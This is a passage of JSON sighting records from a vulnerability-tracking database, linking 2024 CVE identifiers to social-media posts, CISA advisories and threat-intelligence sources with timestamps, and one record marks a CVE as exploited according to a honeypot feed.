"9292ec08-5d71-4009-9bd6-493f591068ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lh433nwb6i2w", "content": "", "creation_timestamp": "2025-02-01T08:15:32.295752Z"}, {"uuid": "844576ae-aa17-42b1-906c-1726db7c04fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/nlnetlabs.bsky.social/post/3lgfpxfwvlc2w", "content": "", "creation_timestamp": "2025-01-23T10:57:45.602064Z"}, {"uuid": "152abb7f-2010-4ad5-81af-3f41973ee555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113877374707226769", "content": "", "creation_timestamp": "2025-01-23T11:14:00.229282Z"}, {"uuid": "da4d7ebb-8969-48e3-b15a-82aba4b08b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12129", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113918327149367781", "content": "", "creation_timestamp": "2025-01-30T16:50:57.525684Z"}, {"uuid": "efd85b93-1cb1-439f-8b36-4727d7f8add0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-06", "content": "", "creation_timestamp": "2025-02-04T11:00:00.000000Z"}, {"uuid": "d534e42f-6395-44b0-a15a-5a8b310767bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-035-05", "content": "", "creation_timestamp": "2025-02-04T11:00:00.000000Z"}, {"uuid": "9faaf491-dc71-4e40-9671-3e5397092c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfqxi3rsh27", "content": "", "creation_timestamp": "2025-01-23T11:15:40.196389Z"}, {"uuid": "9535f27a-12f1-4fd3-88aa-e39fcf533d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941609009302527", "content": "", "creation_timestamp": "2025-02-03T19:29:38.126632Z"}, {"uuid": "632fe703-7833-400d-bb28-5bc2ae86868d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-028-06", "content": "", "creation_timestamp": "2025-01-28T11:00:00.000000Z"}, {"uuid": "137dab6b-cb20-4f0b-90d6-9746043a60a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941668012938469", "content": "", "creation_timestamp": "2025-02-03T19:44:38.144165Z"}, {"uuid": "4c1b0eb1-1956-4d36-8fbe-de200933a7ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898874756198477", "content": "", "creation_timestamp": "2025-01-27T06:21:44.929661Z"}, {"uuid": "b6ee664d-d447-4460-8a69-edfba860a5f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgv3u254m22z", "content": "", "creation_timestamp": "2025-01-29T13:40:33.083457Z"}, {"uuid": "aa3b2af6-2932-4ba8-a0f3-fe173bca0271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgv3u254m22z", "content": "", "creation_timestamp": "2025-01-29T13:40:33.122800Z"}, {"uuid": "2d1105b1-5d02-4be7-92d7-8cb7ac26c79a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgv3u254m22z", "content": "", "creation_timestamp": "2025-01-29T13:40:33.158011Z"}, {"uuid": "740e4a5c-95d7-4e6d-b4e7-669026941d9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/pabloyglesias.com/post/3lgfrcpkjr62o", "content": "", "creation_timestamp": "2025-01-23T11:21:58.269248Z"}, {"uuid": "cc1475c7-9508-4711-8aff-cc69dca52bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12043", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfscmtong2k", "content": "", "creation_timestamp": "2025-01-23T11:39:48.786266Z"}, {"uuid": "e1341090-9c7c-42fc-8216-8c3fa4c8e4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lgwl3kmook2s", "content": "", "creation_timestamp": "2025-01-30T03:45:55.066680Z"}, {"uuid": "54741a41-47e2-4cb0-8813-953b2d57d348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lgxz5linmv2q", "content": "", "creation_timestamp": "2025-01-30T17:30:10.670924Z"}, {"uuid": "3b3919ea-251d-421a-be20-7476122e1472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12872", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgzi2xkuds2g", "content": "", "creation_timestamp": "2025-01-31T07:29:48.267890Z"}, {"uuid": "2b9a707e-5afa-49d7-8b92-26580f371b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12118", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfudjzlud2f", "content": "", "creation_timestamp": "2025-01-23T12:16:05.841516Z"}, {"uuid": "c13b59c5-fb4c-4d8b-b99a-dfb32f251652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgfudm7wnz27", "content": "", "creation_timestamp": "2025-01-23T12:16:08.029406Z"}, {"uuid": "2125c0fe-7251-497e-b152-061b0e815d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdximm7r2u", "content": "", "creation_timestamp": "2025-01-27T06:49:41.245286Z"}, {"uuid": "8dd08944-0306-4ea4-be2d-4fd25023db81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxitiio2i", "content": "", "creation_timestamp": "2025-01-27T06:49:42.331983Z"}, {"uuid": "9271b6fa-312e-4fde-8709-aeafc60c0d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxiye5g2g", "content": "", "creation_timestamp": "2025-01-27T06:49:42.980888Z"}, {"uuid": "a492d019-d526-4567-a183-15d68940a598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhcec765r52r", "content": "", "creation_timestamp": "2025-02-03T20:16:13.640179Z"}, {"uuid": "f4f1474a-4414-40fd-a0a2-4127aadbaa32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhcecc4zhb2t", "content": "", "creation_timestamp": "2025-02-03T20:16:16.633515Z"}, {"uuid": "15cb85d2-0f44-4e57-b0d0-36f2eb894046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxjdl3v2q", "content": "", "creation_timestamp": "2025-01-27T06:49:44.616649Z"}, {"uuid": "4de6ba21-49d9-4821-b2a6-30e6cf855cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113904500113068387", "content": "", "creation_timestamp": "2025-01-28T06:12:21.146240Z"}, {"uuid": "80dc168c-2e12-487f-92a9-65fdfec23fbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113904500129126642", "content": "", "creation_timestamp": "2025-01-28T06:12:21.350301Z"}, {"uuid": "00225ad8-e7c6-49dd-88d5-90510901c6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12774", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgpdxjgtds2r", "content": "", "creation_timestamp": "2025-01-27T06:49:45.204603Z"}, {"uuid": "eeae4fe3-d7a6-404c-9959-f22e399b7117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrsjvjego2n", "content": "", "creation_timestamp": "2025-01-28T06:15:48.545611Z"}, {"uuid": "32887377-0819-4894-a833-4a788048cb8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/isc.org/post/3lgvayr3plk2q", "content": "", "creation_timestamp": "2025-01-29T15:12:38.874719Z"}, {"uuid": "66693dff-6291-43d4-aefc-902db4783509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrsjyeftd2r", "content": "", "creation_timestamp": "2025-01-28T06:15:51.597572Z"}, {"uuid": "aba11229-e3dc-4335-b7b9-3fd1294ec9cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113918699481002958", "content": "", "creation_timestamp": "2025-01-30T18:23:26.084278Z"}, {"uuid": "f77657b9-dab5-4981-9cc3-c1189ba3f13b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12504", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfvnxvww72k", "content": "", "creation_timestamp": "2025-01-23T12:39:49.764006Z"}, {"uuid": "e9c2d904-65d2-4399-8fc6-46ce62cb6e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915640840193737", "content": "", "creation_timestamp": "2025-01-30T05:25:35.006764Z"}, {"uuid": "36ae78d3-6d48-4335-9950-13aedd3fa07f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12118", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgfvnyroae2g", "content": "", "creation_timestamp": "2025-01-23T12:39:52.854004Z"}, {"uuid": "323faae2-9756-4063-b743-1201a070b6b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915812639179134", "content": "", "creation_timestamp": "2025-01-30T06:09:16.344064Z"}, {"uuid": "e50cc159-af47-425d-a04e-6530b1013029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915812673966819", "content": "", "creation_timestamp": "2025-01-30T06:09:16.856492Z"}, {"uuid": "3a56983d-fe0f-43c8-873f-9c2cbe44bc01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgrvbssl3c2q", "content": "", "creation_timestamp": "2025-01-28T07:04:58.744164Z"}, {"uuid": "645c5aa2-73fb-4680-862c-090b98402d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915812708813731", "content": "", "creation_timestamp": "2025-01-30T06:09:17.390902Z"}, {"uuid": "61b0802a-188d-49ee-81f7-775016928384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-02)", "content": "", "creation_timestamp": "2025-02-02T00:00:00.000000Z"}, {"uuid": "7000f347-687a-4e35-b5a0-8b00287e9e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwthi4uei2c", "content": "", "creation_timestamp": "2025-01-30T06:15:39.956608Z"}, {"uuid": "f57cf38a-5829-4938-987c-33805a9781d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwthuotr42j", "content": "", "creation_timestamp": "2025-01-30T06:15:53.269315Z"}, {"uuid": "052407a1-df15-4380-98d0-3f329891800a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwthxe6le2p", "content": "", "creation_timestamp": "2025-01-30T06:15:55.722206Z"}, {"uuid": "fec6d8ac-7639-4a9a-af82-e09d80a1a6eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12494", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113882618809076162", "content": "", "creation_timestamp": "2025-01-24T09:27:38.730273Z"}, {"uuid": "c82ee85f-13f1-453f-835b-76112eb790e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwti25yv32n", "content": "", "creation_timestamp": "2025-01-30T06:15:58.762422Z"}, {"uuid": "534a03f5-5097-4519-b471-f749b96f4ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgrvbtqk7x2e", "content": "", "creation_timestamp": "2025-01-28T07:05:02.656458Z"}, {"uuid": "5afae43c-2178-4f60-bd0c-39a871fd2fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwti56psl2c", "content": "", "creation_timestamp": "2025-01-30T06:16:01.835682Z"}, {"uuid": "ced1a927-9756-4b12-91a3-504792c70613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113941919559416038", "content": "", "creation_timestamp": "2025-02-03T20:48:37.232765Z"}, {"uuid": "4e9ba69a-adfc-4eda-abdd-4927067ec21b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgwti7re2v2t", "content": "", "creation_timestamp": "2025-01-30T06:16:04.562874Z"}, {"uuid": "e9929521-480c-429a-93a2-3d1f662629bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915871707800729", "content": "", "creation_timestamp": "2025-01-30T06:24:17.752054Z"}, {"uuid": "a2fd3f46-4aa5-43c5-9741-7621f0d3b1e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113915871722055927", "content": "", "creation_timestamp": "2025-01-30T06:24:18.469267Z"}, {"uuid": "0974234c-d2e1-4d79-afaf-e8d372f8d55a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113899992485971241", "content": "", "creation_timestamp": "2025-01-27T11:06:00.055681Z"}, {"uuid": "131ae7d2-cbd2-4184-8114-e66cfb84dada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12597", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhdt4cvzdc2g", "content": "", "creation_timestamp": "2025-02-04T10:14:06.388761Z"}, {"uuid": "a1884e23-b5aa-466c-8b92-9c008df0b402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh47swcbpv2g", "content": "", "creation_timestamp": "2025-02-01T09:40:07.290098Z"}, {"uuid": "28141cc4-dbfa-4ba3-ae18-ed727bd4145b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgpstcow3g2t", "content": "", "creation_timestamp": "2025-01-27T11:15:45.199977Z"}, {"uuid": "f905be10-4982-431a-b6fb-931a3976faf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh4gsmythy2g", "content": "", "creation_timestamp": "2025-02-01T11:45:13.710354Z"}, {"uuid": "1c486b05-d864-47ca-ae7d-61a3fa32c96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12037", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzuos4cvj2t", "content": "", "creation_timestamp": "2025-01-31T11:15:38.168310Z"}, {"uuid": "d039bfe9-5411-4cd7-9c90-090023819f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12415", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzuowtwzl2e", "content": "", "creation_timestamp": "2025-01-31T11:15:43.028392Z"}, {"uuid": "3615aeba-f559-4c9e-ac7f-3882d31726cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12602", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhj6aypkuy2n", "content": "", "creation_timestamp": "2025-02-06T13:16:49.179238Z"}, {"uuid": "191dff34-2d55-4241-a07d-7d30bdeb1363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12267", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgzuouktwn2b", "content": "", "creation_timestamp": "2025-01-31T11:15:40.629202Z"}, {"uuid": "83e542ed-514e-4962-bc00-04a5a8bb4861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113929186538299046", "content": "", "creation_timestamp": "2025-02-01T14:50:26.670376Z"}, {"uuid": "09cccfcb-15fb-4a7f-9b97-e6588e568dde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113929186538299046", "content": "", "creation_timestamp": "2025-02-01T14:50:26.728995Z"}, {"uuid": "5896590e-5bee-48fd-9cb3-ef3d7951eb64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "f1367ece-1bbc-4aeb-ad8e-bfac4d125ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lhbqxeycuq2g", "content": "", "creation_timestamp": "2025-02-03T14:30:16.765477Z"}, {"uuid": "7e264532-c3e8-485e-9d25-79c4f74f1770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lgzycr6lmw2p", "content": "", "creation_timestamp": "2025-01-31T12:20:29.601757Z"}, {"uuid": "e36fffbc-5b35-4c79-8582-d1e46eead6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12647", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgwxhtxbcc2b", "content": "", "creation_timestamp": "2025-01-30T07:27:27.465377Z"}, {"uuid": "2dff26c3-ad68-412d-8278-ae7c050942bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgyh4awrss25", "content": "", "creation_timestamp": "2025-01-30T21:39:58.500547Z"}, {"uuid": "b8bb9d26-25b3-4622-af78-a756e5b61717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgq73klgd52w", "content": "", "creation_timestamp": "2025-01-27T14:55:09.619467Z"}, {"uuid": "8968cf73-86ed-41fe-8c9c-c618b24f0ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lgyh6dooh225", "content": "", "creation_timestamp": "2025-01-30T21:41:12.576504Z"}, {"uuid": "1336cc26-ca10-41ba-b434-e7a772e5c221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgsjg55bh42e", "content": "", "creation_timestamp": "2025-01-28T13:05:20.073629Z"}, {"uuid": "1749ada2-e607-4a9e-9d77-fa70b607f85b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lgyhrueimy2x", "content": "", "creation_timestamp": "2025-01-30T21:52:03.578486Z"}, {"uuid": "3d5866b8-5e24-4a3f-9b6f-1d8589125150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/calebpr.bsky.social/post/3llp7u4xgkf2w", "content": "", "creation_timestamp": "2025-03-31T20:42:09.465921Z"}, {"uuid": "59360161-16b0-4a32-bea6-0b25713227a5", "vulnerability_lookup_origin": 